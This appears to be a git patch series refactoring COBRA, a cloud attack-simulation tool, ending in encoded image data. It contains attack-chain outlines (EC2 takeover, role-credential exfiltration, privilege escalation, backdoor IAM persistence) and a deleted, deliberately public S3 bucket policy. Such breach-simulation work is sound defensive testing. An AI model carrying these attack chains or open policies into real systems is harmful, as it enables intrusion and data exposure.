{} for path in Path(scenarios_path).glob('*'): @@ -78,20 +98,3 @@ def get_scenarios_config(): config = yaml.load(file_, Loader=yaml.SafeLoader) scenarios_config[scenario_name] = config return scenarios_config - - -def print_ascii_art(text): - ascii_art = pyfiglet.figlet_format(text) - print(colored(ascii_art, color="cyan")) - - -def pbar_sleep(duration, label='Loading'): - with tqdm(total=duration, desc=label) as pbar: - # Loop until sleep_duration is reached - while duration > 0: - # Sleep for a shorter interval to update the progress bar - sleep_interval = min(1, duration) - sleep(sleep_interval) - # Update the progress bar with the elapsed time - pbar.update(sleep_interval) - duration -= sleep_interval diff --git a/core/main.py b/core/main.py index a2c515d..c89e50c 100644 --- a/core/main.py +++ b/core/main.py @@ -1,124 +1,60 @@ -import os -import pyfiglet -import time -import subprocess -import json -from tqdm import tqdm -from time import sleep +#! /usr/bin/env python +# -*- coding: utf-8 -*- +"""Module providing a class for encapsulating COBRA scenarios.""" from termcolor import colored -from .report import gen_report -from .report import gen_report_2 -from scenarios.scenario_1.scenario_1 import scenario_1_execute -from scenarios.scenario_2.scenario_2 import scenario_2_execute -from scenarios.scenario_2.scenario_2 import scenario_2_destroy -from scenarios.scenario_3.scenario_3 import scenario_3_execute -from scenarios.scenario_4.scenario_4 import scenario_4_execute -def loading_animation(): - chars = "/—\\|" - for _ in range(10): - for char in chars: - print(f"\rLoading {char}", end="", flush=True) - time.sleep(0.1) +from core.helpers import print_ascii_art, get_scenarios_config +from core.scenario import Scenario -def print_ascii_art(text): - ascii_art = pyfiglet.figlet_format(text) - print(colored(ascii_art, color="cyan")) - -def select_cloud_provider(): - print(colored("Select Cloud Provider:", color="yellow")) - print(colored("1. AWS", color="green")) - print(colored("2. Azure", color="green")) - print(colored("3. GCP", color="green")) - while True: - try: - choice = int(input(colored("Enter your choice (1/2/3/4): ", color="yellow"))) - if choice not in [1, 2, 3, 4]: - raise ValueError(colored("Invalid choice. Please enter 1, 2, 3, or 4.", color="red")) - return choice - except ValueError as e: - print(e) - def select_attack_scenario(cloud_provider): - print(colored("Select Attack Scenario of %s:", color="yellow") % cloud_provider) - print(colored("1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning", color="green")) - print(colored("2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence", color="green")) - print(colored("3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster", color="green")) - print(colored("4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access", color="green")) + """Get attack scenario config.""" + scenarios_config = get_scenarios_config() + keys = list(scenarios_config.keys()) + keys.sort() + print(colored('Select Attack Scenario of %s:', color='yellow') % cloud_provider) + choices = [] + for key in keys: + index = int(key[-1:]) + choices.append(index) + print(colored('{}. {}: {}'.format( + index, scenarios_config[key]['title'], scenarios_config[key]['description']), + color='green')) while True: try: - choice = int(input(colored("Enter your choice: ", color="yellow"))) - if choice not in [1, 2, 3, 4]: - raise ValueError(colored("Invalid choice. Please enter 1, 2, 3 or 4.", color="red")) + choice = int(input(colored('Enter your choice: ', color='yellow'))) + if choice not in choices: + raise ValueError(colored('Invalid choice.', color='red')) return choice except ValueError as e: print(e) -def get_credentials(): - while True: - try: - access_key = input(colored("Enter Access Key: ", color="yellow")) - if not access_key: - raise ValueError(colored("Access Key cannot be empty.", color="red")) - secret_key = input(colored("Enter Secret Key: ", color="yellow")) - if not secret_key: - raise ValueError(colored("Secret Key cannot be empty.", color="red")) - return access_key, secret_key - except ValueError as e: - print(e) - -def execute_scenario(x): - try: - # Call the scenario function from the imported module - if x == 1: - scenario_1_execute() - elif x == 2: - scenario_2_execute() - elif x == 3: - scenario_3_execute() - elif x == 4: - scenario_4_execute() - else: - print("Invalid Scenario Selected") - print(colored("Scenario executed successfully!", color="green")) - except Exception as e: - print(colored("Error executing scenario:", color="red"), str(e)) def main(cloud_provider, action, simulation, scenario): - tool_name = "C O B R A" - print(scenario) + """Instantiate and run an attack scenario.""" + tool_name = 'C O B R A' print_ascii_art(tool_name) - if cloud_provider == 'aws': - if action == 'launch': - if simulation is True: - scenario_choice = select_attack_scenario(cloud_provider) - if scenario_choice == 1: - # Pass the selected scenario module to execute - execute_scenario(1) - elif scenario_choice == 2: - execute_scenario(2) - elif scenario_choice == 3: - execute_scenario(3) - elif scenario_choice == 4: - execute_scenario(4) - #print(colored("Scenario coming soon!", color="yellow")) - elif action == 'status' and scenario == "scenario-1": - subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi stack ls", shell=True) - elif action == 'status' and scenario == "scenario-2": - subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi stack ls", shell=True) - elif action == 'destroy' and scenario == "scenario-1": - subprocess.call("cd ./scenarios/scenario_1/infra && pulumi destroy --yes ", shell=True) - elif action == 'destroy' and scenario == "scenario-2": - scenario_2_destroy() - elif action == 'destroy' and scenario == "scenario-3": - subprocess.call("cd ./scenarios/scenario_3/infra && pulumi destroy -s --yes", shell=True) - elif action == 'destroy' and scenario == "scenario-4": - subprocess.call("cd ./scenarios/scenario_4/infra && pulumi destroy -s --yes aws-scenario-3", shell=True) - - else: - print('No options provided. --help to know more') - -if __name__ == "__main__": + scenario_choice = select_attack_scenario(cloud_provider) + scenario = Scenario(scenario_choice) + if action == 'launch': + if simulation: + # TODO: what to do with cloud provider? + scenario.setup() + scenario.attack() + # scenario.destroy() + # TODO: ^^^ do we really want to destroy the infra immediately? + # there's a separate command for destroy + scenario.generate_report() # TODO: not implemented + elif action == 'status': + # TODO + # subprocess.call('cd ./scenarios/scenario_2/infra/ && pulumi stack ls', shell=True) + pass + elif action == 'destroy': + scenario.destroy() + pass + else: + print('No options provided. --help to know more') + + +if __name__ == '__main__': main() - diff --git a/core/main_ng.py b/core/main_ng.py deleted file mode 100644 index 818288b..0000000 --- a/core/main_ng.py +++ /dev/null @@ -1,55 +0,0 @@ -from termcolor import colored - -from core.scenario import Scenario -from core.helpers import print_ascii_art, get_scenarios_config - - -def select_attack_scenario(cloud_provider): - scenarios_config = get_scenarios_config() - keys = list(scenarios_config.keys()) - keys.sort() - print(colored('Select Attack Scenario of %s:', color='yellow') % cloud_provider) - choices = [] - for key in keys: - index = int(key[-1:]) - choices.append(index) - print(colored('{}. {}: {}'.format( - index, scenarios_config[key]['title'], scenarios_config[key]['description']), - color='green')) - while True: - try: - choice = int(input(colored('Enter your choice: ', color='yellow'))) - if choice not in choices: - raise ValueError(colored('Invalid choice.', color='red')) - return choice - except ValueError as e: - print(e) - - -def main(cloud_provider, action, simulation, scenario): - tool_name = 'C O B R A' - print_ascii_art(tool_name) - scenario_choice = select_attack_scenario(cloud_provider) - scenario = Scenario(scenario_choice) - if action == 'launch': - if simulation: - # TODO: what to do with cloud provider? - scenario.setup() - scenario.attack() - # scenario.destroy() - # TODO: ^^^ do we really want to destroy the infra immediately? - # there's a separate command for destroy - scenario.generate_report() # TODO: not implemented - elif action == 'status': - # TODO - # subprocess.call('cd ./scenarios/scenario_2/infra/ && pulumi stack ls', shell=True) - pass - elif action == 'destroy': - scenario.destroy() - pass - else: - print('No options provided. --help to know more') - - -if __name__ == '__main__': - main() diff --git a/core/metadata.sh b/core/metadata.sh deleted file mode 100644 index 3875c40..0000000 --- a/core/metadata.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -export ATTACKER_SERVER_INSTANCE_ID=$(jq -r '.["Attacker Server Instance ID"]' ./core/aws-scenario-1-output.json) -export ATTACKER_SERVER_PUBLIC_IP=$(jq -r '.["Attacker Server Public IP"]'./core/aws-scenario-1-output.json) -export WEB_SERVER_INSTANCE_ID=$(jq -r '.["Web Server Instance ID"]' ./core/aws-scenario-1-output.json) -export WEB_SERVER_PUBLIC_IP=$(jq -r '.["Web Server Public IP"]' ./core/aws-scenario-1-output.json) diff --git a/core/report.py b/core/report.py index 3aea4b2..bb44e36 100644 --- a/core/report.py +++ b/core/report.py @@ -1,337 +1,46 @@ -import webbrowser +#! /usr/bin/env python +# -*- coding: utf-8 -*- +"""Module for creating a report from an executed scenario.""" from pathlib import Path - -def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ): - html_template = ''' - - - - - - COBRA Attack Path Report - - - -
-
- COBRA Logo -

COBRA Attack Path Report

-
-
-

Attack Path Scenario Explained

-

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application. Subsequently, this initial breach facilitates a chain of events, including the takeover of EC2 instances, exfiltration of credentials, and the anomalous provisioning of compute resources..

-
- -
-

Attack Scenario Breakdown

-

1. A Web Server EC2 with a vulnerable application container is launched.

-

2. Attacker Machine is launched, operates behind Tor.

-

3. Attacker exploits the Application, gets shell access of the EC2.

-

4. Attacker retrieves and exfiltrates the Role credentials attached to the EC2.

-

5. Attacker loads these credentials on his machine.

-

6. Attacker launches some infra as a post exploit step.

-
- -
-

Attack Path Graph

- Attack Path Graph -
-
-

Resource Meta Data

- - - - - - - - - - - - - - - - - - - -
Attacker VM ID:'''+attacker_vm_id+'''
Attacker VM IP :'''+attacker_vm_ip+'''
Infected VM ID:'''+infected_vm_id+'''
Infected VM IP:'''+infected_vm_ip+'''
-
-
-

List of Controls to Evaluate Post-Attack

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Controls
Check if controls can identify Vulnerabilities in EC2 instances
Check if controls can identify IAM high-privileged run-instance and pass-role permissions
Check if controls can identify anomaly activity through their threat detection
Check if controls can prevent the attack by blocking RCE payloads
Check if controls can able to identify metadata queries from audit logs
Check if controls logged the activity
-
-
- - - ''' - - with open("cobra-as1-report.html", "w+") as file: - file.write(html_template) - - - print("HTML report generated successfully.") - webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as1-report.html') - -def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME): - html_template = ''' - - - - - - COBRA Attack Path Report - - - -
-
- CNBAS Logo -

COBRA Attack Path Report

-
-
-

Attack Path Scenario Explained

-

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

-
- -
-

Attack Scenario Breakdown

-

1. Application is exploited through API GW, lambda backend

-

2. Lambda Role credential is discovered and exfiltrated.

-

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

-

4. Attach Privileged Policy to the Role.

-

5. Provision a Backdoor IAM Role to maintain persistence.

-

6. Whitelist Attacker account id in the trust policy of the backdoor role.

-
- -
-

Attack Path Graph

- Attack Path Graph -
-
-

Resource Meta Data

- - - - - - - - - - - - - - - - - - - -
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
-
-
-

List of Controls to Evaluate Post-Attack

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Controls
Check if API Gatway has Authentication & Autorization for APIs.
Check if API Gateway has WAF integrated which can stop L7 attacks.
Check if any Lambda has any defender layer which could prevent injection & credential exfil.
Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring.
Check if there are any SCPs which could prevent attaching privileged policies.
Check if new user/role/group creation is monitored.
-
-
- - - ''' - - with open("cobra-as2-report.html", "w+") as file: - file.write(html_template) - - - print("HTML report generated successfully.") - webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') - -#gen_report(ATTACKER_SERVER_INSTANCE_ID, ATTACKER_SERVER_PUBLIC_IP, WEB_SERVER_INSTANCE_ID, WEB_SERVER_PUBLIC_IP) - +from string import Template + + +def _format_attack_steps(steps): + html_steps = [] + for step in steps: + html_steps.append('

{}

'.format(step)) + return ''.join(html_steps) + + +def _format_resources(resources): + html_resources = [] + for key in resources.keys(): + html_resources.append( + '{}{}'.format( + key, resources[key] + ) + ) + return ''.join(html_resources) + + +def _format_controls(controls): + html_controls = [] + for control in controls: + html_controls.append('{}'.format(control)) + return ''.join(html_controls) + + +def get_report(scenario_label, config, output_data): + template_path = Path(__file__).parent.parent / 'files' / 'templates' / 'report.html' + report_image_path = Path(__file__).parent.parent / 'scenarios_ng' / scenario_label / '_files' + report_data = { + 'attack_explanation': config['attack_explanation'], + 'attack_steps': _format_attack_steps(config['attack_steps']), + 'resources': _format_resources(output_data), + 'controls': _format_controls(config['post_attack_controls_eval_steps']), + 'path': report_image_path + } + with open(template_path, 'r') as f: + src = Template(f.read()) + result = src.substitute(report_data) + return result diff --git a/core/report_ng.py b/core/report_ng.py deleted file mode 100644 index 6c67643..0000000 --- a/core/report_ng.py +++ /dev/null @@ -1,49 +0,0 @@ -from pathlib import Path -from string import Template - -# data = { -# 'title': 'This is the title', -# 'subtitle': 'And this is the subtitle', -# 'list': '\n'.join(['first', 'second', 'third']) -# } - - -def _format_attack_steps(steps): - html_steps = [] - for step in steps: - html_steps.append('

{}

'.format(step)) - return ''.join(html_steps) - - -def _format_resources(resources): - html_resources = [] - for key in resources.keys(): - html_resources.append( - '{}{}'.format( - key, resources[key] - ) - ) - return ''.join(html_resources) - - -def _format_controls(controls): - html_controls = [] - for control in controls: - html_controls.append('{}'.format(control)) - return ''.join(html_controls) - - -def get_report(scenario_label, config, output_data): - template_path = Path(__file__).parent.parent / 'files' / 'templates' / 'report.html' - report_image_path = Path(__file__).parent.parent / 'scenarios_ng' / scenario_label / '_files' - report_data = { - 'attack_explanation': config['attack_explanation'], - 'attack_steps': _format_attack_steps(config['attack_steps']), - 'resources': _format_resources(output_data), - 'controls': _format_controls(config['post_attack_controls_eval_steps']), - 'path': report_image_path - } - with open(template_path, 'r') as f: - src = Template(f.read()) - result = src.substitute(report_data) - return result diff --git a/core/requirements.txt b/core/requirements.txt deleted file mode 100644 index 9ff7307..0000000 --- a/core/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -pyfiglet -termcolor diff --git a/core/scenario.py b/core/scenario.py index 90438ba..164db6c 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -3,7 +3,6 @@ """Module providing a class for encapsulating COBRA scenarios.""" import importlib import json -import os import webbrowser from pathlib import Path from termcolor import colored @@ -12,7 +11,7 @@ from pulumi import automation as auto from core.helpers import slugify, pbar_sleep -from core.report_ng import get_report +from core.report import get_report class Scenario(object): @@ -35,13 +34,14 @@ def __init__(self, scenario_id): def setup(self): """Deploy resources needed for the scenario.""" + # TODO: logging instead of print here and elsewhere + print(colored('Deploying scenario infrastructure', color='red')) self._deploy_infra() if self.infra_mod: self.infra_mod.deploy_additional_resources() def attack(self): """Run the attack scenario on the deployed infra/resources.""" - # TODO: logging instead of print here and elsewhere print(colored("Executing attack...", color="red")) # TODO: sleep to ensure deployed resources are available? # Need more reliable way to do this? (e.g. Pulumi API callback?) @@ -58,6 +58,7 @@ def attack(self): def destroy(self): """Destroy scenario resources and clean up.""" + print(colored('Destroying scenario infrastructure', color='red')) self._destroy_infra() if self.infra_mod: with open(self.output_path, 'r') as f: @@ -69,7 +70,9 @@ def generate_report(self): with open(self.output_path, 'r') as f: output_data = json.load(f) report = get_report(self.scenario_label, self.config, output_data) - report_path = Path(__file__).parent.parent / 'files' / 'var' / 'reports' / '{}_report.html'.format(self.scenario_label) + report_path = Path(__file__).parent.parent \ + / 'files' / 'var' / 'reports' / '{}_report.html'.format( + self.scenario_label) with open(report_path, 'w+') as file: file.write(report) webbrowser.open_new_tab('file://{}'.format(report_path)) @@ -84,7 +87,6 @@ def _get_stack(self): stack_name=self.scenario_label, work_dir=stack_dir ) - stack.workspace.install_plugin('aws', 'v4.0.0') # stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) stack.refresh(on_output=print) @@ -93,8 +95,7 @@ def _get_stack(self): def _deploy_infra(self): """Deploy required IaC infrastructure.""" stack = self._get_stack() - up_res = stack.up(on_output=print) - # TODO: is this the right way to handle Pulumi outputs? + stack.up(on_output=print) outputs = stack.outputs() outputs_dict = {} for key in outputs.keys(): @@ -108,17 +109,14 @@ def _destroy_infra(self): stack.destroy(on_output=print) def _get_config(self): - config_path = os.path.join( # FIXME: use pathlib instead - os.path.dirname(__file__), - '..', 'scenarios_ng', self.scenario_label, '_files', 'config.yaml') + config_path = Path(__file__).parent.parent \ + / 'scenarios_ng' / self.scenario_label / '_files' / 'config.yaml' with open(config_path, 'r') as file_: config = yaml.load(file_, Loader=yaml.SafeLoader) return config def _get_output_path(self): - output_path = os.path.join( - os.path.dirname(__file__), - '..', 'files', 'var', 'output', - '{}.json'.format(self.scenario_label), - ) + output_path = Path(__file__).parent.parent \ + / 'files' / 'var' / 'output' / '{}.json'.format( + self.scenario_label) return output_path diff --git a/scenarios/README.md b/scenarios/README.md new file mode 100644 index 0000000..1f53a7a --- /dev/null +++ b/scenarios/README.md @@ -0,0 +1 @@ +These scenarios should be migrated to the `scenarios_ng` directory. When that is complete, this directory should be removed and `scenarios_ng` renamed to `scenarios`. diff --git a/scenarios_ng/scenario_0/infra/extra.py b/scenarios_ng/scenario_0/infra/extra.py index 7ed7b26..0dc70c6 100644 --- a/scenarios_ng/scenario_0/infra/extra.py +++ b/scenarios_ng/scenario_0/infra/extra.py @@ -2,5 +2,5 @@ def deploy_additional_resources(): pass -def destroy_additional_resources(): +def destroy_additional_resources(data): pass From 8012e12f7968f114ce8922b72c19a8c4412b5549 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Fri, 23 Aug 2024 14:19:25 -0500 Subject: [PATCH 59/76] Remove unneeded Pulumi program --- scenarios_ng/scenario_0/infra/main.py | 45 --------------------------- 1 file changed, 45 deletions(-) delete mode 100644 scenarios_ng/scenario_0/infra/main.py diff --git a/scenarios_ng/scenario_0/infra/main.py b/scenarios_ng/scenario_0/infra/main.py deleted file mode 100644 index 49352ec..0000000 --- a/scenarios_ng/scenario_0/infra/main.py +++ /dev/null @@ -1,45 +0,0 @@ -import json -import os - -import pulumi -from pulumi_aws import s3 - - -def pulumi_program(): - data_file = os.path.join( - os.path.dirname(__file__), '..', '_files', 'data', 'customers.csv' - ) # TODO: need easier way to get datafile path - bucket = s3.Bucket('b', bucket_prefix='cobra-test-') - object = s3.BucketObject( - 'object', - bucket=bucket.id, - key='customers.csv', - source=pulumi.FileAsset(data_file) - ) - # Allow public ACLs for the bucket - public_access_block = s3.BucketPublicAccessBlock( - "exampleBucketPublicAccessBlock", - bucket=bucket.id, - block_public_acls=False, - ) - # Set the access policy for the bucket so all objects are readable - s3.BucketPolicy( - "bucket-policy", - bucket=bucket.id, - policy=bucket.id.apply( - lambda id: json.dumps({ - "Version": "2012-10-17", - "Statement": { - "Effect": "Allow", - "Principal": "*", - "Action": ["s3:GetObject"], - # Policy refers to bucket explicitly - "Resource": [f"arn:aws:s3:::{id}/*"] - }, - })), - opts=pulumi.ResourceOptions(depends_on=[public_access_block]) - ) - pulumi.export('s3-bucket-arn', bucket.arn) - pulumi.export('s3-bucket-id', bucket.id) - pulumi.export('s3-object-arn', object.arn) - pulumi.export('s3-object-id', object.id) From 6c8e2f0f2bd4404b6114d7cb785c95d873f4dac7 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Mon, 26 Aug 2024 20:23:43 -0500 Subject: [PATCH 60/76] Refactor scenario 1 --- core/helpers.py | 15 +- core/scenario.py | 1 + files/var/ssh/.gitkeep | 0 scenarios_ng/scenario_1/_files/config.yaml | 18 ++ scenarios_ng/scenario_1/_files/report.png | Bin 0 -> 264181 bytes scenarios_ng/scenario_1/attack.py | 54 ++++++ scenarios_ng/scenario_1/infra/__init__.py | 0 scenarios_ng/scenario_1/infra/extra.py | 17 ++ .../scenario_1/infra/stack/Pulumi.yaml | 3 + .../scenario_1/infra/stack/__main__.py | 181 ++++++++++++++++++ .../infra/stack/data/user_data_1.sh | 16 ++ .../infra/stack/data/user_data_2.sh | 24 +++ scenarios_ng/scenario_2/infra/extra.py | 7 - 13 files changed, 326 insertions(+), 10 deletions(-) create mode 100644 files/var/ssh/.gitkeep create mode 100644 scenarios_ng/scenario_1/_files/config.yaml create mode 100644 scenarios_ng/scenario_1/_files/report.png create mode 100644 scenarios_ng/scenario_1/attack.py create mode 100644 scenarios_ng/scenario_1/infra/__init__.py create mode 100644 scenarios_ng/scenario_1/infra/extra.py create mode 100644 scenarios_ng/scenario_1/infra/stack/Pulumi.yaml create mode 100644 scenarios_ng/scenario_1/infra/stack/__main__.py create mode 100644 scenarios_ng/scenario_1/infra/stack/data/user_data_1.sh create mode 100644 scenarios_ng/scenario_1/infra/stack/data/user_data_2.sh diff --git a/core/helpers.py b/core/helpers.py index 7ed31af..f6e2cd7 100644 --- a/core/helpers.py +++ b/core/helpers.py @@ -43,8 +43,8 @@ def pbar_sleep(duration, label='Loading'): def generate_ssh_key(): # Define the path to save the keys - key_path = os.path.expanduser("./id_rsa") - + key_path = Path(__file__).parent.parent \ + / 'files' / 'var' / 'ssh' / 'id_rsa' # Check if SSH key already exists if os.path.exists(key_path): print("SSH key already exists. Deleting the existing key...") @@ -54,7 +54,6 @@ def generate_ssh_key(): with open(os.devnull, 'w') as devnull: subprocess.run(["ssh-keygen", "-t", "rsa", "-b", "4096", "-N", "", "-f", key_path], stdout=devnull, stderr=devnull) print("SSH Key Pair generated successfully!") - return key_path, key_path + ".pub" @@ -98,3 +97,13 @@ def get_scenarios_config(): config = yaml.load(file_, Loader=yaml.SafeLoader) scenarios_config[scenario_name] = config return scenarios_config + + +def get_project_root(): + return Path(__file__).parent.parent + + +def notify(msg): + print("-"*30) + print(colored(msg, color="red")) + loading_animation() diff --git a/core/scenario.py b/core/scenario.py index 164db6c..2639eee 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -63,6 +63,7 @@ def destroy(self): if self.infra_mod: with open(self.output_path, 'r') as f: data = json.load(f) + print(colored("Deleting manually created resources not tracked by Pulumi's state", color="red")) self.infra_mod.destroy_additional_resources(data) def generate_report(self): diff --git a/files/var/ssh/.gitkeep b/files/var/ssh/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_1/_files/config.yaml b/scenarios_ng/scenario_1/_files/config.yaml new file mode 100644 index 0000000..ea31f19 --- /dev/null +++ b/scenarios_ng/scenario_1/_files/config.yaml @@ -0,0 +1,18 @@ +title: Exploit Vulnerable Application +description: EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning +cloud_provider: aws +attack_explanation: TODO +attack_steps: +- 1. A Web Server EC2 with a vulnerable application container is launched. +- 2. Attacker Machine is launched, operates behind Tor. +- 3. Attacker exploits the Application, gets shell access of the EC2. +- 4. Attacker retrieves and exfiltrates the Role credentials attached to the EC2. +- 5. Attacker loads these credentials on his machine. +- 6. Attacker launches some infra as a post exploit step. +post_attack_controls_eval_steps: +- 1. Check if controls can identify Vulnerabilities in EC2 instances +- 2. Check if controls can identify IAM high-privileged run-instance and pass-role permissions +- 3. Check if controls can identify anomaly activity through their threat detection +- 4. Check if controls can prevent the attack by blocking RCE payloads +- 5. Check if controls can able to identify metadata queries from audit logs +- 6. Check if controls logged the activity \ No newline at end of file diff --git a/scenarios_ng/scenario_1/_files/report.png b/scenarios_ng/scenario_1/_files/report.png new file mode 100644 index 0000000000000000000000000000000000000000..90c9d97c3663b919b92fff68f2cbbfa700e698b3 GIT binary patch literal 264181 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 